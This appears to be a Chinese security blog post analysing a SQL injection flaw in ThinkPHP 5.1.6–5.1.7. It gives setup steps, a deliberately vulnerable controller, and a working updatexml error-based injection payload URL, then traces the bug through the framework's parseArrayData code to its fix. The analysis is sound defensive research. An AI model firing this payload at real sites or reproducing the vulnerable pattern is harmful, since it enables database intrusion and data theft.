HacKerQWQ的博客空间

TP5SQL注入漏洞分析(5.1.6-5.1.7)

Word count: 533Reading time: 2 min
2021/06/25 Share

参考学习连接

配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
github上没有5.1.7了所以下的5.1.8
composer create-project --prefer-dist top/think=5.1.8 tpdemo
修改composer.json
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
},
开启app_debug、app_trace,配置数据库
Index.php加入如下代码接收变量
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}
数据库插入
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'mochazz');

payload

1
http://localhost/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

20210625183254

漏洞分析

这个漏洞前半部分跟5.0.13-5.0.155.1.0-5.1.5的sql注入差不多,简单点理解,有问题的方法出现在parseArrayData

20210625185459
首先传入username数组,用$username接收,然后进入到Query类的update方法
20210625185636
这个where方法就是获取一些连接数据库的选项,没什么好说的,下面进入thinkphp/library/think/db/Connection.phpupdate方法
20210625185844
关键部分依旧在Builderupdate方法,我们传入的数组此时在$this->options[‘data’]里面,跟进update方法
20210625190339
数据在$queryoptions['data']里面,调用了parseData方法,主要部分是下面的switch语句
20210625190612
val[0]就是我们传入的username[0],值为point,进入default分支,跟进parseArrayData方法
20210625190833
list函数用于把数组中的值赋给一组变量,此处typepointvalue1,进入switch的point分支,funupdatexml(1,concat(0x7,user(),0x7e),1)^,point0,通过result拼接为如下
20210625191308
层层返回,最终在thinkphp/library/think/db/Connection.phpexecute方法处执行
20210625191727

总结图

sql2

修复方法

官方直接删除函数,从根上解决问题
20210625195002

CATALOG
  1. 1. 漏洞简介
  2. 2. 配置
  3. 3. payload
  4. 4. 漏洞分析
  5. 5. 总结图
  6. 6. 修复方法